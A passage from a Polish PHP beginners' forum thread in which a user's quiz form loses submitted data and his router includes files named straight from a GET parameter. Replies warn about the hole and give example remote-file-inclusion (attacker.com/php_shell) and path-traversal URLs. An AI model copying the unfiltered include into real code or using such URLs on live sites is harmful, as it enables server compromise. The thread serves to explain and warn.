Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [PHP]POST, GET obojętnie co nie przesyła danych dalej.
Forum PHP.pl > Forum > Przedszkole
luke18dg
Witam, mój problem jest krótki ale kody już nie. Nie mam pomysłu dlaczego moje dane wpisane formularz nie są wysyłane dalej.
Tablica, którą zapisuje w sesji działa tak piknię, ale już nie dane, które wpisuje w formularz.
Żeby ładnie utrzymać ten sam adres czyli indexhome.php używam takiego kodu:
indexhome.php
  1. <?php
  2. if(!isset($_GET['url']))
  3. {include('home.php');}
  4. else
  5. {
  6. if (is_file($_GET['url'].'.php'))
  7. {include($_GET['url'].'.php');}
  8. else {echo'Error 500002 - Brak strony o podanej nazwie.';}
  9. }
  10. ?>

Dlatego konsekwencją jest to, że w akcji formularza mam:
  1. <form action="indexhome.php" method="GET">

A musi być w GET ponieważ poprzez ukryte pole w formularzu wracam na stronę docelową, którą chce uzyskać.
  1. <input type="hidden" name="url" value="dodawaniequizu">


A wpisując coś w formularz i naciskając przycisk, na stronie "walidacjadodawaniaquizu" nic się nie pojawia? Czemu?

Jeśli te kawałki były nieprzyjazne dla was zamieszczam te 3 strony, które sprawiają mi sen z powiek.
indexhome.php
  1. <?php
  2. if(!isset($_GET['url']))
  3. {include('home.php');}
  4. else
  5. {
  6. if (is_file($_GET['url'].'.php'))
  7. {include($_GET['url'].'.php');}
  8. else {echo'Error 500002 - Brak strony o podanej nazwie.';}
  9. }
  10. ?>

dodawaniequizu.php
  1. <?php
  2. /*
  3.   W - pole wielokrotnego wyboru
  4.   J - pole jednokrotnego wyboru
  5.   T - pole tekstowe
  6.  */
  7. if(!(empty($_GET['wysylanie'])))
  8. {
  9. if(($_GET['wysylanie'])=='Wyslij')
  10. {
  11. header('Refresh:0; URL=indexhome.php?url=walidacjadodawaniaquizu');
  12. exit();
  13. }
  14. }
  15. if(!(empty($_SESSION['dane']))){$tablica=$_SESSION['dane'];}
  16. if(!(empty($tablica)))
  17. {
  18. $keys=array_keys($tablica);
  19. $ostatni=$keys[count($keys)-1];
  20. $ostatni+=1;
  21. }
  22. else {$ostatni=1;}
  23. if(!(empty($_GET['dodac'])))
  24. {
  25. switch($_GET['dodac'])
  26. {
  27. case 'pole_wielokrotnego':
  28. {
  29. $tablica[$ostatni]['name']='pytanie'.$ostatni;
  30. $tablica[$ostatni]['value']='';
  31. $tablica[$ostatni]['typpola']='W';
  32. $tablica[$ostatni]['poprawna']='';
  33. $tablica[$ostatni]['liczbaodp']=0;
  34. break;
  35. }
  36. case 'pole_jednokrotnego':
  37. {
  38. $tablica[$ostatni]['name']='pytanie'.$ostatni;
  39. $tablica[$ostatni]['value']='';
  40. $tablica[$ostatni]['typpola']='J';
  41. $tablica[$ostatni]['poprawna']='';
  42. $tablica[$ostatni]['liczbaodp']=0;
  43. break;
  44. }
  45. case 'pole_tekstowe':
  46. {
  47. $tablica[$ostatni]['name']='pytanie'.$ostatni;
  48. $tablica[$ostatni]['typpola']='T';
  49. $tablica[$ostatni]['value']='';
  50. break;
  51. }
  52. }
  53. $odpowiedznr=explode(':',$_GET['dodac']);
  54. $keys = array_keys($odpowiedznr);
  55. $ostatniodp = $keys[count($keys)-1];
  56. if($ostatniodp>0) {$tablica[$odpowiedznr[1]]['liczbaodp']+=1;}
  57. unset($_GET['dodac']);
  58. }
  59. echo '<html><head><title>Tworus Lukasz</title><meta name="author" content="Tworus Łukasz"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  60. </head><body><form action="indexhome.php" method="GET"><table border="1">';
  61. if(!(empty($tablica)))
  62. {
  63. for($i=1; $i<$ostatni; $i++)
  64. {
  65. switch($tablica[$i]['typpola'])
  66. {
  67. case 'T':
  68. {
  69. echo '<tr><td>'.$i.' <input type="text" name="'.$tablica[$i]['name'].'"';
  70. if(!(empty($tablica[$i]['value']))) {echo 'value="'.$tablica[$i]['value'].'"';}
  71. echo '></td></tr>';
  72. break;
  73. }
  74. case 'J':
  75. {
  76. echo '<tr><td>'.$i.' <input type="text" name="'.$tablica[$i]['name'].'"';
  77. if(!(empty($tablica[$i]['value']))) {echo 'value="'.$tablica[$i]['value'].'"';}
  78. echo '></td></tr>';
  79. if($tablica[$i]['liczbaodp']==0) {$tablica[$i]['liczbaodp']=1;}
  80. for($j=0; $j<$tablica[$i]['liczbaodp']+1; $j++)
  81. {
  82. echo '<tr><td>
  83. <input type="radio" name="odpowiedz:'.$i.'" value="'.$j.'">
  84. <input type="text" name="odpowiedztekst:'.$i.':'.$j.'"';
  85. if(!(empty($tablica[$i][$j]))){echo 'value="'.$tablica[$i][$j].'"';}
  86. echo'></td></tr>';
  87. }
  88. echo '<tr><td><input type="submit" value="dodajodp:'.$i.'" name="dodac"></td></tr>';
  89. break;
  90. }
  91. case 'W':
  92. {
  93. echo '<tr><td>'.$i.' <input type="text" name="'.$tablica[$i]['name'].'"';
  94. if(!(empty($tablica[$i]['value']))) {echo 'value="'.$tablica[$i]['value'].'"';}
  95. echo '></td></tr>';
  96. if($tablica[$i]['liczbaodp']==0) {$tablica[$i]['liczbaodp']=1;}
  97. for($j=0; $j<$tablica[$i]['liczbaodp']+1; $j++)
  98. {
  99. echo '<tr><td>
  100. <input type="checkbox" name="odpowiedz:'.$i.'" value="'.$j.'">
  101. <input type="text" name="odpowiedztekst:'.$i.':'.$j.'"';
  102. if(!(empty($tablica[$i][$j]))){echo 'value="'.$tablica[$i][$j].'"';}
  103. echo'></td></tr>';
  104. }
  105. echo '<tr><td><input type="submit" value="dodajodp:'.$i.'" name="dodac"></td></tr>';
  106. break;
  107. }
  108. }
  109. }
  110. print_r($tablica);
  111. $_SESSION['dane']=$tablica;
  112. }
  113. echo'<tr><td><input type="submit" value="pole_wielokrotnego" name="dodac"><input type="submit" value="pole_jednokrotnego" name="dodac">
  114. <input type="submit" value="pole_tekstowe" name="dodac"> <br></td><tr><td><input type="hidden" name="url" value="dodawaniequizu">
  115. <input type="submit" value="Wyslij" name="wysylanie"></td></tr></table></form></body></html>';
  116. ?>

walidacjadodawaniequizu.php
  1. <?php
  2. if(!(empty($_GET['nazwa'])))
  3. {
  4. if(($_GET['nazwa'])=='kasujsesje')
  5. {
  6. unset($_SESSION['dane']);
  7. header('Location: indexhome.php?url=dodawaniequizu');
  8. exit();
  9. }
  10. if(($_GET['nazwa'])=='pozostawsesje')
  11. {
  12. header('Location: indexhome.php?url=dodawaniequizu');
  13. exit();
  14. }
  15. }
  16. echo 'SESJA <br>';
  17. print_r($_SESSION['dane']);
  18. echo '<BR><BR><BR><BR>';
  19. echo 'POST<BR>';
  20. print_r($_POST);
  21. echo '<BR><BR><BR><BR>';
  22. echo 'GET<BR>';
  23. print_r($_GET);
  24. echo '
  25. <form action="indexhome.php">
  26. <input type="submit" value="kasujsesje" name="nazwa">
  27. <input type="submit" value="pozostawsesje" name="nazwa">
  28. <input type="hidden" name="url" value="walidacjadodawaniaquizu">
  29. </form>';
  30. ?>
!*!
1. Twój kod jest dziurawy
2. Twój kod jest źle napisany
3. z debuguj swój kod var_dump linijka po linijce i będziesz wiedział w którym miejscu i dlaczego gubisz dane.
luke18dg
Czy można prosić o wskazanie dlaczego jest źle napisany/gdzie gubię dane, gdyż każda uwaga, która może pomóc udoskonalić/poprawić moje działania jest bardzo ważna dla mnie.
pyro
Cytat(luke18dg @ 17.02.2013, 15:28:08 ) *
Czy można prosić o wskazanie dlaczego jest źle napisany/gdzie gubię dane, gdyż każda uwaga, która może pomóc udoskonalić/poprawić moje działania jest bardzo ważna dla mnie.


Cytat(!*! @ 17.02.2013, 12:08:10 ) *
1. Twój kod jest dziurawy


Wyobraź sobie, że ktoś wpisze http://twojastrona.pl?url=http://attacker.com/php_shell

Cytat(!*! @ 17.02.2013, 12:08:10 ) *
2. Twój kod jest źle napisany


Mieszanie widoku z logiką aplikacji, totalna nieczytelnośc no i przyszedłes tu, bo w końcu nie działa smile.gif

Cytat(luke18dg @ 17.02.2013, 15:28:08 ) *
gdzie gubię dane


Cytat(!*! @ 17.02.2013, 12:08:10 ) *
3. z debuguj swój kod var_dump linijka po linijce i będziesz wiedział w którym miejscu i dlaczego gubisz dane.
luke18dg
Cytat(pyro @ 17.02.2013, 15:43:03 ) *

Dlatego mam taki kod.
  1. <?php
  2. if(!isset($_GET['url']))
  3. {include('home.php');}
  4. else
  5. {
  6. if (is_file($_GET['url'].'.php'))
  7. {include($_GET['url'].'.php');}
  8. else {echo'Error 500002 - Brak strony o podanej nazwie.';}
  9. }
  10. ?>

Prawdopodobnie wypiszę brak strony lub zgłupieje z powodu podwójnych rozszerzeń lub będzie próbowało szukać strony w katalogu o nazwie "http://attacker.com/php_shell.php"

Cytat(pyro @ 17.02.2013, 15:43:03 ) *
Mieszanie widoku z logiką aplikacji, totalna nieczytelnośc no i przyszedłes tu, bo w końcu nie działa smile.gif

Prawda przyszedłem ponieważ nie działa. Ale zbytnio nie rozumiem:
Cytat
Mieszanie widoku z logiką aplikacji, totalna nieczytelnośc

O co tutaj chodzi bo zbytnio nie zrozumiałem? Prawdopodobnie chodzi o wcięcia i to przyznam fakt nie wiedziałem, czy łączyć jak php czy zachować wcięcia dla html. A zapisu If(warunek){
instrukcje
} nie uważam za czytelny ponieważ pierwsza klamra, jest nie widoczna podczas scrolowania kodu smile.gif
Dziękuje za odzew i czekam na odpowiedz : )
foxbond
Cytat
Prawdopodobnie wypiszę brak strony lub zgłupieje z powodu podwójnych rozszerzeń lub będzie próbowało szukać strony w katalogu o nazwie "http://attacker.com/php_shell.php"


Jeżeli bodajże allow_url_include=1 (czyjakoś tak w php.ini) wykonasz skrypt "http://attacker.com/php_shell.php"


Cytat
Prawda przyszedłem ponieważ nie działa. Ale zbytnio nie rozumiem:

Cytat
Mieszanie widoku z logiką aplikacji, totalna nieczytelnośc

O co tutaj chodzi bo zbytnio nie zrozumiałem? Prawdopodobnie chodzi o wcięcia i to przyznam fakt nie wiedziałem, czy łączyć jak php czy zachować wcięcia dla html. A zapisu If(warunek){
instrukcje
} nie uważam za czytelny ponieważ pierwsza klamra, jest nie widoczna podczas scrolowania kodu
Dziękuje za odzew i czekam na odpowiedz : )


Chodzi o to, aby oddzielna klasa/funkcja/blok kodu odpowiadał za wyświetlenie strony dla użytkownika, a oddzielny za obliczenia/komunikację z bazą itp.
!*!
Cytat(luke18dg @ 17.02.2013, 17:08:31 ) *
Dlatego mam taki kod.
  1. <?php
  2. if(!isset($_GET['url']))
  3. {include('home.php');}
  4. else
  5. {
  6. if (is_file($_GET['url'].'.php'))
  7. {include($_GET['url'].'.php');}
  8. else {echo'Error 500002 - Brak strony o podanej nazwie.';}
  9. }
  10. ?>


Kod
http://example/index.php?url=../../../admin/rozpocznij_zaglade.php


Teraz już rozumiesz? Nie wczytuje się plików bezpośrednio z url, zakładając że to jego nazwa, poza tym nie filtrujesz tego w ogóle... a poza tym nie warto pisać poraz 100 tego samego, przejrzyj forum, jest dużo na ten temat.
luke18dg
Rozumiem, zagrożenie związane z URL tylko nie rozumiem, twoich obaw związanych z filtrowaniem?
Tak jak kolega wypowiedział się wyżej jeśli mam wyłączoną tą funkcję "allow_url_include=1 " to powinienem być bezpieczny.
Rozumiem filtrowanie gdy użytkownik podaje bezpośrednio dane, które będą zapisywane w bazie. Tutaj wydaje mi się, że funkcje pełni is_file, który mi ma sprawdzać czy taki plik istnieje z końcówką php. Wynikiem wywołania adresu URL prawdopodobnie okaże się false. Ponieważ nie znajdzie w aktualnym katalogu takiego pliku. A zbytnio nie rozumiem jak by to haker miał się "wcisnąć" przez ftp, które jest o wiele lepiej zabezpieczone smile.gif
com
url powinieneś filtrować zawsze bo wystarczy, że wpisze
Kod
http://127.0.0.1/indexhome.php?url=indexhome
i już Ci się zapętli wywołanie w nieskończoność wink.gif pozatym jak sam wspomniałeś może sie pojawić problem podwójnego roszerzenia, kiedy ktoś wpisze adres w url nawet poprawny adres ale z roszerzeniem i wtedy też mu sie pojawi komunikat Error 500002 - Brak strony o podanej nazwie. wink.gif btw o wiele prosciej byłoby uzyć mod_rewrite i wyrazeń reguralnych wink.gif

A co do czytelności kodu to polecam lekture na temat MVC(czyli oddzielienie widoku od danych pobieranych i kontroli nad nimi) , bo obecnie bez tego ani rusz wink.gif
luke18dg
I takiej konkretnej odpowiedzi oczekiwałem, dziękuje. : )
!*!
Cytat(luke18dg @ 18.02.2013, 01:29:10 ) *
Rozumiem, zagrożenie związane z URL tylko nie rozumiem, twoich obaw związanych z filtrowaniem?
Tak jak kolega wypowiedział się wyżej jeśli mam wyłączoną tą funkcję "allow_url_include=1 " to powinienem być bezpieczny.
Rozumiem filtrowanie gdy użytkownik podaje bezpośrednio dane, które będą zapisywane w bazie. Tutaj wydaje mi się, że funkcje pełni is_file, który mi ma sprawdzać czy taki plik istnieje z końcówką php. Wynikiem wywołania adresu URL prawdopodobnie okaże się false. Ponieważ nie znajdzie w aktualnym katalogu takiego pliku. A zbytnio nie rozumiem jak by to haker miał się "wcisnąć" przez ftp, które jest o wiele lepiej zabezpieczone smile.gif


Skąd myśl że is_file Cie przed czymś broni? Przeczytałeś od czego ona jest? Tak samo allow_url_include? Wątpię.
Skoro inne pliki masz z rozszerzeniem .php to oczywiste że mogę wczytać każdy jaki mi się tylko podoba.

Nie ma sensu prowadzić dalej tej dyskusji. Tematów było o tym więcej na forum niż użytkowników.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.